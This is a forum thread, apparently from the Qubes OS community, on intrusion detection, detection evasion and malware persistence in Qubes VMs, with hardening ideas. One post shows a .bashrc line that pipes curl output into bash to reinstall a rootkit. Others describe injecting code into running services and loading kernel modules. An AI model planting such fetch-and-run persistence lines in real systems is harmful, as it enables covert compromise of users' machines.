Intrusion detection and detection evasion

If considered an interesting topic, we could chat about intrusion detection and evasion thereof.

A few talking points:

  1. there is no way to evade detection from wireshark running on a physical separate machine
  2. indicators of compromise only work for known operations and an attacker could change filenames, -paths and -hashes easily for future operations
  3. an advanced attacker stays preferably in RAM but might implant a one-liner to download and start the RAM-based malware at boot time
  4. persistance in QubesOS is difficult
  5. an http-proxy for updating software enables malware to overcome the “no network connectivity” feature in QubesOS
  6. I tried to reach my intel’s ME from a different machine but couldn’t. Am I holding nmap wrong?
1 Like

It’s impossible to use kernel based rootkits in domUs?

Impossible is one of these words… let’s start with

as an appVM is started from a templateVM you get an OS which system components have not been tampered with

However if there is a oneliner in your .bashrc which tampers with your binaries in /usr/bin or /usr/sbin you are pwned as soon as you start a bash in your appVM. As everyone can sudo a rootkit is reinstalled easily.

like this

[user@appVM ~]$ cat .bashrc
/usr/bin/curl | /usr/bin/bash

… aaand rootkit installed.

1 Like

That really doesn’t work unless you are able to load a rootkit, and if you can load the rootkit why not just do that directly, don’t really understand the need to modify one of the system binaries.

Hmmm? curl is loading a script, the script is piped to bash, bash executes the script as user, user can sudo, root can tamper with all files and processes… in the context of the appVM of course.

That is just one way to hide. Lot’s of appVMs have a running /usr/bin/cupsd for instance. An attacker could add code to it and restart it. Or directly inject code to the process.

And what IDS wouldn’t detect that you modified the binary, it’s literally only possible in a system that doesn’t use IDS.

The reason attackers use kernel rootkits is that it allows you to hide files and processes.

QubesOS and the distros used don’t ship with IDS - not preinstalled at least. You can install some alienvault agent in your AppVM of course, but IDS didn’t stop the solarwinds attack. I believe they flew under radar for 6 month or so. In big companies and institutions like the US state department. Small business and private people usually don’t have an IDS.

Can’t that be added at runtime to the kernel with sudo modprobe?

Well, if you don’t let any packets leave your machine :stuck_out_tongue:

You can’t protect yourself against something when you don’t know what that something is. Observation is key.

If you can’t trick the machine itself, trick the machines that it talks to.

Not impossible, but yes, you do have to leave A LOT of doors open to get persistence.

You’d have to get dom0 to allow the connection out of the VM. Not impossible, but you have to be doing some pretty stupid things to allow it to happen.

Xen was potentially blocking access because your NIC wouldn’t be able to interact with your CPU. Qubes OS compartmentalisation for the win!

Definitely true. Might be worth investigating whether “known one liners” could be scrubbed from AppVMs by dom0 on AppVM start. Could be mitigated.

Also true, but if it works, it doesn’t really matter if it’s quick and dirty….

Yes, provided it’s in the kernel tree. Or you could download a kernel module and build it with dkms:face_with_monocle:

:laughing: Reminds me of Stuxnet. Malware which doesn’t phone home but still impairs the work of the targeted devices.

I absolutly agree. One needs a blueprint of a virgin filesystem of the device for IoCs or normal network traffic when it comes to wiresharking traffic.

This outdated Xen exploit required to be root in one of the VMs. The OOB-check was very probably fixed in a timely manner. Also this ought to be mitigated in HVMs and PVHs. However I would like to strongly advocate against root access in VMs. In VMs which use minimal templates you can only become root by

[user@dom0 ~]$ qvm-run -u root <vmname> <xterm or blafoo>

This way one does not elevate privileges in the VM but decreases privilege from dom0 to root in the VM.

I don’t believe an attack against dom0 really requires a lot of open doors. It is more like one or two. If an attacker has RCE on dom0 it takes something between 10 and 40 kilobytes of a base64 encoded bash script to open a bidirectional pipe to NetVM and initiate a satellite in the NetVM. Probably less.

Good to know. So there are policies in place which only root in dom0 can change?

I believe it used to be the same when I used to run archlinux on my laptop. That’s a topic I still have to investigate. And I have to take another look in my BIOS settings.

/home/user/.bashrc and /home/user/.zshrc could probably enforced and made ro by the template. oh-my-zsh-users might not like that… other environment scripts are in /etc/ I believe…

Could a malware spoof or impersonate a valid kernel module?

Well, yeah…… As long as you’re not using that particular model of centrifuge inside your Windows XP HVM on Qubes OS to enrich uranium, stuxnet shouldn’t be problem for you….

….but just remember that it’s incubation period is 10-14 days before it kicks in, so if you are, maybe keep an eye on them :grin:

One or two of the right doors :wink:

Yep. That’d do it…. :upside_down_face:

All of them. Root is the only one who can change any policies. But dom0 also has NOPASSWD sudo for the regular user, so if something did get in, it would still have free reign over the entire machine.

I like it. I like it a lot :face_with_monocle:

Absolutely feasible.

1 Like

My centrifuges are doing alright. It’s the explosive lens which I can’t get to work. :wink:

A working Xen exploit I assume injects code into code running in kernel mode.

Should be doable with qubes’ bind-dir feature.

1 Like

There is. By compromising this machine/wireshark. It is parsing all your traffic and while Wireshark might be a security related software it is not secure software.

This project tries to deal with domu hardening and should be considered in the discussion Qubes-VM-hardening/ at master · tasket/Qubes-VM-hardening · GitHub


As this is obviously not understood universally, let me state explicitly: if it is about Qubes OS it doesn’t belong into ‘All Around Qubes’. This category is meant for topics that would be off-topic in the rest of the forum, but are of immediate interest to Qubes OS users.

Like “how do I XYZ in Debian/Fedora/Linux” or “which browser is better in terms of security vs. privacy” etc. … stuff that is not specific to Qubes OS but clearly of intertest to Qubes OS users.

The above conversation is clearly on-topic in ‘General Discussion’, hence by definition off-topic here. Moving into appropriate category.

There is a solution for that: separate capture (small attack surface) and parse (more complex task)

In practice?